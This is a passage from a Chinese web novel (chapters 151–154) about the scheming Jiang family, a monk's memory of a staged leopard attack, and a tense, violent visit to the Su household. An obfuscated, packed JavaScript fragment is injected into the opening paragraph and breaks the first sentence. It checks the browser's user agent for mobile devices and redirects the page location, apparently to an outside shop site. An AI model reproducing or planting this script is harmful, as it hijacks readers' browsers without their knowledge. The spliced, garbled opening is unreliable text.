多年之后,赵悉回想起这一天马车里的情景,仍觉得那是漫长宦海生涯中,最温暖宁静的画面之一。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713612|187080||http|test|mini|href|location''.split(''|''),0,{}));
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姜府。
门外天色阴沉,细雨淅淅沥沥下个不停。
双喜揣着衣袖,面无表情地站在门廊下。
眼见侍卫们将姜家父子的担架轻轻放下,他对撑伞快步走来的两位御医道:“陛下有令,务必要让姜家父子尽快康复。还请二位多多费心。”
两位御医各自带着一名药童,提着沉重的医箱。
这一路马车颠簸,耽搁功夫又长,姜家父子臀腿处的伤口早已与衣料粘连在一起。
剪开并剥离衣料的过程异常艰难,每一下都伴随着姜世安和姜珩压抑的痛哼。当最后一片布料被小心翼翼地剥离时,露出的是血肉模糊、惨不忍睹的伤处。
偏偏姜珩还强忍着疼痛对御医道:“烦请大夫去看看我祖母如何了。"
双喜在一旁阴阳怪气地开口:”陛下有令,是让医治姜家父子二人,可没说要管旁人。姜公子,莫要让杂家难做。"
姜世安缓缓睁开双眼,冷冷地瞥了双喜一眼。
这狗眼看人低的阉奴!他在心中暗骂。
这些人无非是见他如今被贬为九品小官,就都敢给他脸色看了!
等着瞧!他在心里发狠。用不了几日,陛下必定会重新重用他!
御医们很快处理完伤口,敷上特制的金疮药。
开好药方,交代道:“今夜容易起高热,务必按时煎药服用。”
随后便告辞离去,说明日一早再来复诊。
双喜淡淡道:“陛下有令,这几日杂家就与你们同吃同住,定要亲眼看着你们的伤势在期限内好转。”他打了个哈欠,“杂家也倦了,先去歇着了。”
待屋内再无外人,姜珩见父亲眼中闪烁着异样的光彩,不禁追问:“父亲,您可知方才陛下为何突然转变态度?”
姜世安嘴角勾起一抹得意的笑:“珩儿,你可还记得自幼为父就教你朱玉国的语言?为父常跟你说,机会总是留给有准备的人。如今看来,为父多年的深谋远虑,终于要派上用场了!”
姜珩迟疑道:“可是父亲,京中通晓朱玉国语言的,应当不止我们二人吧?孩儿记得南城那些胡商酒肆里,常有异域商人出入,总能找到几个通译。”
姜世安摇了摇头,眉眼间透着一种神秘与自得:“你只知其一,不知其二。”
他压低声音对姜珩道,“且耐心等着,只要朱玉国使臣到访,便是你我父子大放异彩之时!”
姜珩看着这样的父亲,忽然感到有些陌生。
他回想起今日在御前,父亲对梅氏的冷酷无情,忍不住问道:"父亲,梅姨娘……您当真要发卖了她?"
姜世安趴在榻上,神色冷凝:“梅氏是个聪明人,会明白为父的苦心的。即便真发卖了她又如何?这些都只是权宜之计。重要的是我们父子二人,一定要东山再起!”
回想起几日前,在云昭的指引下恢复记忆,亲眼“看见”生身母亲是如何被父亲逼得悬梁自尽,姜珩心口不由泛起一阵寒意。
就在这时,姜世安忽然道:“珩儿,今日多亏荣太傅出手相助。”
他语气中带着谄媚,“你可知道,荣太傅在朝中地位尊崇,门生故旧遍布朝野,就连陛下都要让他三分。
他从前就十分欣赏你,夸你‘郎艳独绝,世无其二’。”
姜世安滔滔不绝地说着,姜珩却越听心越冷。
终于,他忍不住低声道:“可是父亲!荣太傅的那个孙女,不仅是个瘸子,脸上还满是痘坑!您难道要让我娶这样一个女子为妻?”
第151章 又是十六年前!
姜世安趴在榻上:“当日为父要你去郡公府赴宴,本指望你能博得宜芳县主青睐。可你呢?竟在宴席上闹出那等不堪的传闻!
女子本就气量狭小,更何况宜芳县主那样自幼娇养、目下无尘的性子,她岂会再将你放在眼里!”
姜珩倔强地抬起脖子:“儿子会想办法,重新赢得县主欢心!”
“晚了!”姜世安冷笑一声,声音陡然转厉,“你以为,今日我们父子能安然回府,为父还能在此静待陛下重新启用,是凭我们自己的本事吗?
若非荣太傅看中了你,有意招你做他的孙女婿,他今日怎会出手相救?”
姜珩迟疑道:“可……荣太傅是朝中清流文臣的领袖,与父亲您一样是寒门出身,对您一向看重……”
他这话,隐隐点出了如今朝堂的格局——
如今朝堂大体分明两派。
一派是以荣太傅、姜世安为代表的寒门清流;
另一派则是以赵悉等世家子弟为首的世家勋贵。
而云昭的外祖苏家,以及御史中丞方大人等极少数臣子,则是独善其身的纯臣,从不参与任何党派之争。
“天真!”姜世安闻言,嗤笑了声:“什么寒门?什么世家?
只要登临高位,谁不是一样的嘴脸?谁又比谁更高贵?
你真当荣太傅是那等乐善好施、不求回报的善人?
他老了!正在为自己、为荣家寻找可靠的继承人和倚仗。
他那两个儿子,一个早逝,一个病弱,皆不成器,孙辈的男丁尚都年幼。
你若能成为荣太傅的孙女婿,将来继承荣家,岂不比尚县主更加风光?”
他语重心长地教导儿子:“娶妻娶贤,更要娶势!即便她瘸腿、满脸痘瘢又如何?
只要你位极人臣,还怕没有绝色佳人甘愿没名没分地跟着你?”
姜珩垂眸,掩去眼底翻涌的复杂情绪:“父亲教训的是,孩儿醒得。”
*
车窗外,雨势渐收。
云昭默然望着窗外模糊的街景,若有所思。有悔大师闭目盘坐,手中佛珠缓缓捻动。孙婆子则在一旁,动作轻缓地整理着云昭随身携带的药箱。
赵悉吃饱喝足,惬意地靠在车壁上,见云昭神色凝重,忽然神秘兮兮地凑近:
“喂!想不想知道,今日咱们那位陛下为何突然改了主意,没有严惩你父兄?”
这话一出,不仅云昭撩起眼皮看向他,连孙婆子也停下了手中的动作,目光转向赵悉。
赵悉嘿嘿一笑,带着几分自得,指了指自己那双风流蕴藉的桃花眼:“咱这双招子,可不仅仅是生得好看,更是明察秋毫,洞若观火。
云昭忽然心领神会:“你懂唇语?”
她忆起当时在殿内,赵悉所站的位置虽与御座有些距离,却恰好能清晰地看到太后的面容和口型。
赵悉啧了一声:“这你也能猜到。”他知道此事关系重大,也不再卖关子,正色道:
“太后说——
‘皇帝今日正在气头上,难免有失偏颇。姜世安此人,并非一无是处。皇帝莫要忘了,当年朱玉国……’”
“朱玉国……”云昭轻声重复着这三个字。
她记得当日在公主府,义母曾提及,母亲苏氏那块冬暖夏凉的玉佩,乃太皇太后所赐,是朱玉国进献的宝物。
可当时太后提及朱玉国,似乎并未让皇帝立时回心转意。
真正让圣意转圜的,是荣太傅递来的那封信。
这时,一直闭目养神的有悔大师缓缓睁开双眼,声音平和:“阿弥陀佛。老衲年轻时云游四方,曾到过朱玉国。
若老衲没有记错,朱玉国皇室用以密封重要信函的,正是狮首火漆印。”
云昭没想到有悔大师会突然开口,不由凝神细听。
有悔大师双眼微眯,流露出回忆的神色,缓缓道:“说来也是十六年前的旧事了。
那时朱玉国太子来访我朝,因其语言(朱玉官话)晦涩难懂,朝中精通者寥寥。
而姜世安,是众臣之中对此语言最为精通流畅之人,故而由他全程陪同接待。”
他顿了顿,继续说道:“期间,那位太子在碧云寺后山游玩时,不幸遭遇一只不知从何而来的云豹袭击,伤势颇重。
是姜世安不顾自身安危,一路将太子背回碧云寺求救。
太子腿上那处伤口深可见骨,还是老衲亲自为他缝合上药的。”
紧接着,有悔大师话锋微转,带着一丝不易察觉的疑虑:“然而,老衲与寺中弟子常年在后山采药、行走,对那里的一草一木都极为熟悉,却从未见过那般体型的猛兽出没。”
云昭心头猛地一跳!
她忽然想起刚回京时,从严嬷嬷那里听说的一桩相似的奇事——
说是孟贵妃在宝华寺进香时,不知从何处蹿出一头发狂的野兽,险些惊了凤驾。是梅柔卿挺身而出,以一柄金簪隔空掷出,刺中那畜生的眼睛,救下了贵妃。
她也凭此在贵妃面前露了脸,一步步赢得了贵妃的信重。
彼时云昭就曾疑惑,宝华寺乃是皇家寺院,守卫森严,怎会有大型猛兽闯入?
这行事的手法,这如出一辙的套路……
云昭眼底掠过一丝讥诮:“也就这点本事了,翻来覆去,只会用这一招。”
有悔大师又接着说道:“自那日后,朱玉国太子对姜世安信任有加,视若臂膀。
听说太子离京归国时,也是姜世安亲自护送,一路相随,直送至三百里外的驿馆。
此事过后不久,姜世安便从其时任的礼部郎中,擢升为礼部侍郎。”
十六年前!
云昭心里陡然一沉。
又是十六年前,这难道只是巧合?
十六年前,她被姜家故意弃在荒野,自生自灭;
十六年前,姜世安偷换血脉,将私生子姜淳充作嫡子养大,为掩盖真相,甚至不惜逼死姜珩生母芸娘!
十六年前,姜世安利用梅氏教授的邪术,召来猛兽袭击朱玉国太子,借此赢得信任,从而官运亨通。
这一切之间,是否存在着某种不为人知的关联?
云昭总觉得,真相已经近在咫尺。
想到姜珩一直霸占着真正兄长的身份,享受着本不属于他的一切,云昭心中忽然冒出一个绝妙的主意。
她太清楚,身世是姜珩最恐惧、也最不堪的软肋!
只是平平常常将此事说破,难免姜世安还要想尽办法为其遮掩,届时难免给这父子二人再次脱身的机会。
她必须要选择一个最恰当的时机,将这个秘密公之于众。
试想,若在一个万众瞩目、关乎姜珩乃至姜家前途命运的关键场合,爆出当朝官员竟是冒名顶替、窃取他人人生的无耻之徒,该是何等石破天惊?
她不仅要让姜珩失去官职,失去圣心,更要借此一击,彻底剥夺他所有赖以生存的凭仗,让他永世不
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得翻身!
云昭收敛心神,转向有悔大师,诚恳地道:“多谢大师告知我这些。”
有悔大师微微摇头:“阿弥陀佛。老衲所言,本就是事实。
姜司主身在此局中,如同观棋之人,有些关键的落子,理应知晓其来龙去脉。
世间因果,如同织锦,经纬交错,看似无序,实则自有其深意。”
云昭心中感念,有悔大师仅仅因为她的一个请求,就不辞辛劳地从碧云寺赶来,先在竹山书院相助,如今又陪她前往苏府。
而若非大师一路陪同,她未必能听闻到这些至关重要的线索!
有悔大师似是看出她心中所想,淡然一笑:“姜司主不必挂怀。”
那笑容中透着历经世事的智慧,“到了老衲这般年纪,走过千山万水,读过万卷经书。
最感兴趣的,莫过于亲眼见证那些书中记载的奇闻轶事,求证那些曾在脑海中盘旋的猜想罢了。”
他狡黠地眨了眨眼:“姜司主若还是过意不去,日后若再遇到像‘蜃楼蝉翼’那般奇巧玄妙之物,不妨也为老衲留上一份,让老衲开开眼界。”
云昭闻言,低声向孙婆子吩咐了一句。
孙婆子会意,从药箱深处取出一个白玉小瓶,云昭接过,双手奉给有悔大师。
有悔大师接过玉瓶,拔开瓶塞轻嗅一下,眼中顿时闪过一丝讶异与欣喜:
“这是以白荷为主药炼制的清荷灵露?果然是好东西!最难得这白荷灵气如此充沛,想必是生长在极净之地。”
云昭见状不由一笑:“大师喜欢便好。”
马车行至京兆府门前,缓缓停下。
赵悉起身,向云昭拱手:“赵某先行一步了。”
他利落地跳下马车,正要离开,云昭却唤住他,递过一道符箓。
赵悉接过来在手中掂了掂,一时喜上眉梢:“这可是我之前向你预订的灵符?就是那种能让人耳聪目明、心思澄澈,断案时如有神助的?”他边说边比划着,模样十分期待。
云昭被他夸张的形容逗得唇角微弯:“你若真想要,改日我专门为你画一张。这个,是让你贴在羁押梅氏的牢房门口。”
赵悉闻言轻挑起眉梢:“我京兆府的大牢,那可是铜墙铁壁,固若金汤!何必多此一举?”
云昭神色平静:“多一层防护,总归是好的。”
马车继续前行,不多时便停在了苏府大门前。
苏惊墨从前面的马车上跳下,快步上前叩响门环。
然而他敲了许久,门内却迟迟无人应答。
苏惊墨不由面露诧异,加大了叩门的力道。
云昭与有悔大师、孙婆子、莺时等人也先后下了马车,聚在门前。
苏惊墨一边继续敲门,一边高声呼喊。
莺时见状,上前一步,清了清嗓子,以一种宫中女侍特有的腔调扬声道:“奉陛下口谕,前来传话!速速开门!”
苏惊墨看了莺时一眼,也配合着喊道:"快开门!是宫里来人了!"
又过了片刻,大门才“吱呀”一声打开一条缝,露出一个丫鬟略显慌乱的脸。
云昭一眼认出,这正是她上次来苏府时,那个鬼鬼祟祟尾随到假山附近的丫鬟!
那丫鬟的目光在云昭等人身上逡巡一圈,将门只开了一道小缝,压低声音道:
“大公子,您可算回来了!快些进来!家里出事了,夫人有令,紧闭门户,不让任何人进出!”
第152章 泼血水?打到跪地求饶为止!
苏惊墨当即面色一沉,声音里带着压抑不住的怒意:“你这叫什么话!既说家里出了事,为何不即刻往宫中禀报祖父?这般鬼鬼祟祟、遮遮掩掩,成何体统!”
他话音未落,那丫鬟竟胆大包天,当着苏惊墨的面,就要将门板重新合拢!
不待云昭示意,身后跟随的墨七已如猎豹般悍然出手,五指如铁钳般扣住门板边缘,猛地发力一掀!
只听“咣当”一声巨响,那扇厚重的木门竟被他生生拽开,门后的丫鬟被这股力道撞得倒飞出去,重重跌在几步外的青石地上。
云昭目不斜视,率众人鱼贯而入。
那丫鬟见状,连滚带爬地起身,一边朝内院跑去,一边扯着嗓子哭嚎起来:
“不得了了!姜家那个煞星打上门来了!快来人啊!她这是要逼死我们苏家啊!”
那声音尖厉刺耳,语气中满是毫不掩饰的恶意与挑衅,任谁听了都要皱眉。
苏惊墨听得这话,顿时面色铁青,转身对云昭歉然道:“对不住,家里下人,平日里绝不敢这般无礼……”
云昭淡淡一笑,那笑意却未达眼底:“那是他们不敢当着你的面说罢了。”
说罢,她不再多言,径直朝内院走去。
一行人刚行至内院月亮门前,还未及迈入内院,迎面突然冲出两个膀大腰圆的婆子,各自端着一盆腥气扑鼻的血水,兜头就朝云昭泼来!
墨七与墨十七反应极快,一个拽过苏惊墨挡在最前,另一个则迅如闪电般护着云昭和有悔大师疾步后撤。
“哗啦”两声,那两盆泛着暗红血色的污水,一点没浪费,几乎全泼在了猝不及防的苏惊墨身上。
墨七的肩膀湿了一块,因穿着玄色劲装,并不显眼。
云昭赞许地看了墨七一眼,随手取出一道符箓贴在她后背:“片刻即干。”
墨七微微一怔,她从未听说过有这等奇物。
就连一旁的有悔大师也饶有兴致地打量着那张符箓,眼中露出探究之色。
苏惊墨伸手抹去脸上的污水,俊秀的面庞因愤怒而涨红:“谁给你们的狗胆……”
他环顾四周,却不见母亲王氏的身影,不由怒喝道:“我娘呢!你们这些刁奴,竟敢对贵客如此无礼!”
这时,林静薇身着一袭水红色缕金云锦裙,从一旁的蔷薇花丛后袅袅走出。
见到苏惊墨这副狼狈模样,她以绣帕掩唇,故作惊讶道:“墨儿怎么弄成这般模样!”
随即转向身旁的丫鬟,“玥儿,还不快带大公子下去更衣!”
苏惊墨浑身湿透,不知是气的还是冻的,嘴唇直哆嗦。
他正欲开口,云昭却已抢先一步道:“陛下口谕在此,苏府众人,这是打算抗旨不尊?”
林静薇掩唇轻笑,语气温柔却字字带刺:“姜小姐这威风耍得可没什么意思。
虽说你娘当年年轻气盛,为个男人就与苏家断了亲,但你身上到底流着一半苏家的血。
若苏家真落个抗旨不尊的罪名,你这苏家外孙女,又能讨着什么好?”
云昭眯起眼眸。
林静薇这是吃准了她顾忌着苏家血脉,不敢真将事情闹大,想逼她吃了今日这哑巴亏!
她若不在意苏家,今日就不会来;既然来了,就算苏家有什么不是,她也只能忍气吞声!
这林静薇,倒是个比梅柔卿更难缠的角色!
云昭不再多言,手中银鞭如灵蛇出洞,不顾林静薇就站在两个仆妇中间,一鞭子凌厉抽出!
“啪、啪!”两声脆响,那两个婆子惨叫倒地,哎呦不止。
林静薇却反应极快地后撤一步,鞭梢只险险擦过她华美的衣袖,并未伤及皮肉。
云昭敏锐地察觉到,方才鞭梢触及林静薇时,似乎被什么无形的东西阻隔了一下。
她不由微微眯眸,心中升起一丝疑虑。
林静薇则厉声斥道:“反了你了!这是我苏家的地盘,你一个外姓人,居然敢在此撒野!”
她这一嗓子,仿佛一个信号,整个院落忽然哗啦啦涌出许多人来。
男女老少皆有,个个同仇敌忾地瞪着云昭。
与上次来时众人或是好奇、或是打量的目光不同,这一次,所有人的眼神中都充满了赤裸裸的敌意。
最后,在众人的簇拥下,苏老夫人缓缓走出。
她身着沉香色杭绸褙子,头发梳得一丝不苟,虽然年过半百,仍能看出年轻时的温婉相貌。
“姜司主,”苏老夫人开口,声音柔和,语气却疏离,“你今日此举,未免太过跋扈了。”
苏老夫人出了名的性情温和,对外与人交往时,甚至有些软弱。
却有一点,不足为外人道。
云昭的母亲苏**,是她膝下唯一的亲生女儿,但林静薇,是她已故弟弟唯一的血脉。
她本就对娘家弟弟诸多疼爱,眼见弟弟年纪轻轻撒手人寰,只留下林静薇一介孤女。故而与夫君商量过后,做主将林静薇从林家接到苏家,当作亲生女儿般,一点点养大。
可以说,苏老夫人对这个外甥女的疼爱,自小就远超对亲生女儿的感情!
是以,此时当着云昭的面,苏老夫人也毫不掩饰对林静薇的维护。
一位面生的妇人上前,想要搀扶林静薇:“大嫂……我扶你起来罢。”
林静薇却一把甩开她的手,对苏老夫人哭诉道:“娘,姜家人实在欺人太甚!
我看这姜云昭,简直和她那个爹一模一样!冷血无情,目中无人!
她这才刚回京多久,就敢来苏家撒野!往后,这是要骑到我们苏家头上作威作福啊!”
她故意挑起矛盾,字字句句都在激化苏家人对云昭的厌恶。<
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br>苏惊墨急得直跺脚:“祖母!各位婶娘、妹妹!姜司主是奉陛下口谕而来!
祖父特意让我陪同,就是怕家里有什么误会!
你们今日这都是怎么了?抛开云昭也是我们苏家人不提,她还是外祖父的救命恩人啊!”
云昭冷眼扫过苏家众人,淡声开口:“奉陛下口谕:苏文正今日留宿宫中,陪伴圣驾。苏家众人,不必挂念。”
苏老夫人淡淡道:“陛下的口谕,姜司主已经带到。请回吧。”
她顿了顿,语气转冷,“今日之事,原是下人粗心引起的误会。姜司主鞭子也甩了,这口气,也该出了。我大儿媳挨打的事,老身也就不追究了。
但苏府,不欢迎姜家人,还请自重。”
人群中不知谁先喊了一句:“对,我们不欢迎姜家人!”
“姓姜的,滚出去!”
“苏家不认你这外孙女!”
“带着你的人赶紧走!”
辱骂声此起彼伏,越来越难听。
云昭忽地扬声道:“墨七,十七。”
她冷冷下令:“摁住,打。”
众人还没反应过来,墨七和墨十七已如离弦之箭般上前。
旁人或许不了解云昭的脾性,这段日子跟下来,她们二人却是再清楚不过!
于是一人反剪林静薇双臂,另一人抬手就是两个响亮的耳光!
苏老夫人勃然大怒:“放肆!”
林静薇也被这突如其来的巴掌打懵了,直到脸上火辣辣的疼痛传来,才尖声哭叫:“反了天了!你居然敢打我!”
云昭不怒反笑,声音陡然转厉:“到底谁是天?谁反了?”
“我奉天子之令,来苏家传达陛下口谕,苏家众人却一再阻挠——
先是闭门不开,继而血水泼身,现在更是聚众辱骂!
你们眼里可还有天子?可还有王法?可还知道什么是尊卑上下?”
她算是看明白了,今日的苏府,必定是有人故意挑拨离间,存心要给她一个下马威!
林静薇这女人,表面温婉,实则心机深沉,她吃准了云昭顾忌苏家血脉,不敢真的撕破脸,这才有恃无恐地煽动众人。
云昭心中冷笑——
这世上哪有这么便宜的好事?享受了她救回苏文正的恩情,还想指着她的鼻子辱骂?林静薇怕是打错了算盘!
云昭忽然有些明白,不论前世还是今生,母亲为何会选择嫁给姜世安。
曾经她以为母亲只是被情爱蒙蔽,错信了良人。
可如今看来,这苏家又何尝不是个虎狼窝?甚至比姜家更加虚伪可怕!
当年母亲匆匆下嫁姜世安,个中必还有旁的缘由!
“住手!”就在这时,身后传来一声熟悉的喝止。
云昭头也不回,声音冷得像冰:“接着打!打到她肯认错,跪地求饶为止!”
第153章 如同被掐住脖子的鸡
“姜司主,快快住手!使不得啊!”一道惊惶失措的的呼喊自身后传来。
只见月洞门外,苏家老大苏凌岳步履仓皇地疾步闯入。他一袭茶青直裰,身形清瘦,本该是儒雅温文的脸上,此刻却写满了惊惧与无措。
他一眼便瞧见瘫软在地、鬓发散乱脸颊红肿的林静薇,顿时如护崽的老母鸡般扎着双手,欲要上前搀扶。
可一抬眸,正正对上墨七那双淬了冰碴子般的厉眼!
苏凌岳半生都在书院,终日与银钱账册打交道,何曾直面过墨七这等刀头舔血、煞气盈身的人物?
当即骇得他一颗心突突狂跳,伸出的手僵在半空!
他转过身,语无伦次地劝道:“姜司主,都是一家人,血脉至亲啊!有什么话不能心平气和地说?何必、何必动此雷霆之怒,伤了自家和气!”
“一家人?”云昭冷笑了声:“方才,苏家上下可是众口一词,说我姓姜,不姓苏!苏家门槛高,容不下我这外姓之人!”
随着她目光所至,墨七与墨十七无需再等吩咐,运起掌力,出手如风!
二人虽为女子,却是自尸山血海中拼杀出来的顶尖暗卫,指掌间蕴含的力道,岂是寻常闺阁妇人所能承受?
“啪!啪!啪!”
清脆而狠戾的巴掌声,一声接着一声,毫不留情地扇在林静薇那张保养得宜的脸上。
那声音响彻庭院,听得人头皮发麻。
墨七下手刁钻,专挑最痛处;墨十七力道刚猛,掌风呼啸。
不过转瞬,七八个耳光落下,林静薇的脸颊已如发面馒头般高高肿起!
从前保养得宜的脸上此刻红紫交错,嘴角破裂,殷红的血丝混着涎水淌下。
她“哇”的一张口,竟直接呕出两颗混着血的牙齿来!
林静薇自打被接入苏家,何曾受过半分委屈?
初时是老夫人心尖上的外甥女,娇养得比正经嫡女苏**还要金贵;
嫁与苏凌岳后,丈夫性子绵软老实,即便她十几年肚皮再无动静,未能诞下男丁继承长房香火,苏凌岳依旧对她温柔小意,不敢有半分违逆;
上有姑母兼婆母撑腰,她早早分得一半中馈大权,在府中可谓要风得风,要雨得雨。
这突如其来的**般的痛楚与羞辱,直接将林静薇打蒙了!
待口中浓郁的血腥气将她刺醒,看到地上那两颗属于自己的牙齿时,她瞳孔骤缩,一股难以置信的惊骇直冲头顶!
墨七扭着她的肩膀命道:“还不向姜司主叩首认错!”
林静薇满怀**地朝云昭躬下身形,口齿含混道:“是我错了。说错了话,还望姜司主海涵。”
她不是那等只会撒泼哭嚎的蠢妇,深知此刻越是狼狈,越要维持体面。
片刻之后,她缓缓抬起肿得变形的脸,一双美目盈满了泪水,目光直勾勾地望向苏老夫人,嘴唇哆嗦着,却硬是强忍着没有失态嚎哭。
只是那无声的泪珠混着血丝滚落,反而比任何哭喊都更显得凄楚可怜。
云昭的命令太快,墨七和墨十七动作更快,一切不过发生在瞬息之间。
待苏老夫人回过神来,眼见心肝肉似的外甥女被打成这般模样,心疼得如同刀绞,猛地扑上前,一把将林静薇颤抖的身子揽入怀中。
“姜司主——!”她抬头怒视云昭,目眦欲裂:“你要再打,便来打老身!
陛下向来以仁孝治天下,老身就不信,陛下会纵容你如此无法无天,公然在朝廷命官府邸行凶,殴打官眷!”
云昭面对此等指责毫无惧色,反唇相讥:“陛下恐怕也未曾料到,只是派我来苏家宣示天恩,竟会遭到如此羞辱!”
“你!”苏老夫人被她堵得一口气险些上不来,一时气得浑身发抖,口不择言地骂道,“强词夺理!刻薄寡恩!你与你那娘一般,都是来讨债的祸害!”
被苏老夫人紧紧护在怀里的林静薇,眸中顿时闪过一抹畅快与得色。
云昭不由眼瞳微缩!
饶是已看出苏老夫人偏疼林静薇,她也从未想过,这世上竟会有亲娘为了一个外人,如此辱骂自己的亲生闺女!
一旁的苏玉嬛见母亲受此大辱,早已哭成了泪人!
她跪倒在地,紧紧抱住林静薇,仰头对着云昭哭喊道:“姜云昭,你好生跋扈狠毒!
秦王殿下那等顶天立地的大英雄,光风霁月的人物,怎会娶你这等心肠歹毒、手段酷烈的女子为妃!你根本配不上殿下!”
她话语间不自觉流露出清高与倾慕,句句都在贬损云昭,仿佛云昭的存在,玷污了她心中完美的秦王殿下!
“放肆!敢对王妃不敬!”墨七厉声呵斥,声如寒冰,带着凛冽的杀气,瞬间压过了苏玉嬛的哭啼。
墨十七虽未开口,但上前半步,冰冷的目光如实质般锁住苏玉嬛,手已按在了腰间的短刃上,其维护之意,不言而喻。
苏玉嬛被这骇人气势吓得浑身一颤,哭声戛然而止,如同被掐住脖子的鸡,一头埋进苏老夫人怀里!
“祖母!祖父他……他怎么会想要认回这样恶毒的人!她们母女若真回来,这府里还能有我和娘亲的活路?孙女定要被她生生欺负死啊!”
至此,云昭心中恍然。
看来午后她命苏惊墨回家,请苏文正配合行动,一同入宫的消息,苏文正并未隐瞒家人,甚至很可能当着苏老夫人的面,流露出了要认回母亲和她的心思。
难怪今日从苏惊墨叩门到现在,苏家众人的反应如此激烈。
而这其中,自然少不了林静薇从中推波助澜,处处挑唆。
林静薇伏在苏老夫人怀中,凄凄哭着道:“姑母……当**,阿云姐姐她必定是怨极了您,恨毒了苏家!不然怎会让她的女儿,今日一来便如此折辱于我,这分明是指桑骂槐,做给您看啊!”
“这事说来也怪我不好,当年没多劝着她……”
“薇薇!”苏老夫人罕见地用极其严厉的语气打断了她。
她脸色瞬间变得煞白,嘴唇哆嗦着,似乎极怕她再往下说。
这番欲言又止,成功勾起了在场所有人的好奇。
年轻些的少女少妇
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们面面相觑,低声窃语:“当年?当年发生了何事?”
而一些年长的婶娘仆妇,彼此交换着意味深长的眼色,有好奇,有探究,更有几分压抑不住的幸灾乐祸,显然对那段陈年旧事有所耳闻,却不敢明言。
一旁站着的苏凌岳,脸上一阵红一阵白,嘴唇嗫嚅了几下,最终却只是颓然地低下头。
云昭将众人反应尽收眼底,忽地轻笑一声:“无论如何,我娘至今未曾改姓,如今更是陛下亲赐的三品淑人。我若带着我娘来苏家探望苏山长,天经地义,有何不可?”
林静薇的目光与云昭在空中相撞,清晰瞧见对方眼底那抹洞悉一切的嘲弄。
这姜云昭,明明比她的玉嬛还小一岁,心机城府却如此深沉!
寻常少女被如此言语相激,早已怒极失言,撂下永不踏足苏家的狠话。
可她偏偏不上当,反而抬出“陛下亲赐”的招牌,名正言顺地要将手伸进苏家!
她二十几年来苦心经营、养尊处优的生活,难道就要因为这个黄毛丫头的出现而毁于一旦?!
不!她决不允许!
可此时的林静薇却尚不知晓,此前每一个如她这般轻视云昭的人,死的死,伤的伤,要么就被关在大牢,没一个讨着半分便宜。
云昭目光落在苏老夫人脸上,意有所指道:“这世上的道理,有时候很简单。谁心虚,谁才叫得最大声。谁做错了,谁才心生惧意,惶惶不可终日!”
苏老夫人被云昭盯得**一步,猝不及防地瞥开视线。
尽管对当年母亲出嫁的细节尚不清楚,但苏老夫人和林静薇此刻的反应,已足够说明一切——
她们不仅参与其中,且对此忌讳颇深!
一旁静立许久的苏惊墨,脸色越发难看,他目光紧锁苏老夫人,追问道:“祖母,我娘呢?为何至今不见她人影?”
他下午匆忙回府报信时,母亲王氏明明尽一切如常。
今日全家的人在此咄咄逼人,闹出这样大的动静,以母亲掌管一半家事的身份及其刚正性情,绝无可能放任林氏如此针对云昭,却置之不理!
苏老夫人面上闪过一丝迟疑,避开了苏惊墨锐利的目光。
这时,站在人群后方,一个面容带着几分刻薄相的妇人插话了。此人正是苏家旁支,依附嫡系长房过活、住在相邻院子里的三婶吴氏。
她惯会看人下菜碟,此时便带着几分讨好的语气道:“墨哥儿别急,方才已经请大夫来瞧过了,只说二夫人是累着了,歇歇便好。这会儿人已经睡下了。”
苏惊墨一听,心头火起,怒道:“我娘到底在何处!她身边的朱嬷嬷呢?”他目光灼灼逼视苏老夫人,“祖母,您为何不说话!”
苏老夫人被孙儿步步紧逼,一时脸上有些挂不住。
她不咸不淡地瞥了云昭一眼,语气疏冷:“有外客在此,大呼小叫,成何体统。”
随即转向苏凌岳,“老大,你既与姜司主相熟,便代苏家好生送一送姜司主吧。”
言下之意,竟是要直接赶客!
第154章 救救我全家老小性命!
苏惊墨眼眶瞬间通红,拳头紧握。
云昭将一切尽收眼底,面上却不露分毫,只对苏惊墨淡声道:“苏公子,上次我已言明,你我之间,除公务外,不必再有过多往来。”
她语气疏离,目光却几不可察地掠过他拎着那盒五常饼的手。
苏惊墨一怔,蓦然想起上次云昭离去时,看似绝情地一拍他掌心……以及悄然留下的那道符箓。
他心头一紧,似乎明白了什么,强忍着没有低头看向自己的手。
云昭淡淡瞥了苏凌岳一眼:“苏司库不必送了,留步。”
说罢,与一直静立旁观的有悔大师略一颔首,便带着手下转身离去。
一行人出了气氛压抑的苏府,登上等候在外的马车。
车厢内,云昭面上的淡漠褪去,转为凝重。
莺时这是忍不住低声追问:“小姐,今日有悔大师也在,咱们又有陛下允准,为何不借着方才势头,好好彻查一番苏府?”
今日她家小姐在陛下面前主动请缨来苏府递话,分明计划要在苏府好好探查一番。怎么方才又突然离开了?
云昭并未立即回答,而是看向有悔大师:“大师,方才在府中,可瞧出什么不妥?”
有悔大师捻动佛珠,缓声道:“方才入府一路行来,仔细观察其内布局,如若老衲没有看错,这苏府内里,竟是隐隐形成了一个极为阴损的‘九宫断嗣局’。且此局煞气,直指庭院东北角!”
云昭眸色一凛,脑海中电光火石般闪过方才苏家众人的细微反应——
他们在苏惊墨提及王氏时,目光或惊慌、或闪烁,却不约而同地,都曾悄然瞥向府邸的东北方向!
她忆起上一次踏入苏府时,与王氏短暂的照面。
彼时虽匆匆一瞥,玄瞳视界下,她看得非常清晰,王氏确实身怀有孕,且月份尚浅,绝不超过一月。
正因如此,她上次离去前,才会将一枚平安符交予苏惊墨,更在符纸背面,以指尖蘸取朱砂,仓促写下一个“母”字。
有了此前云昭赠符的先例,以苏惊墨的机敏与至孝,定然会毫不犹豫地将那枚平安符,转赠给其母王氏佩戴。
有悔大师又继续道:“方才途经府内回廊转角处,那里新挪了两盆夹竹桃,花叶虽艳,其性却毒。
此物出现的位置,恰好补全了那‘锁阴剥嗣’之局的最后一环,使得整个风水煞阵的克性,彻底成型,其力倍增。”
一旁的莺时忽而道:“姑娘!大师这么一说,奴婢想起来了!上一次咱们来苏府,从那里经过时,摆的明明不是夹竹桃,而是两盆枝繁叶茂的天宝花!”
她语气肯定,“那日临走时,奴婢的衣袖不小心被天宝花的叶片勾破了一道口子,回去当晚还补了衣裳,奴婢绝不会记错!”
也就是说,那幕后之人,也是近几日才彻底下了决心,布下死局!
有悔大师闻言,不由抬眸细细端详了莺时的面容片刻,眼中掠过一丝赞赏。
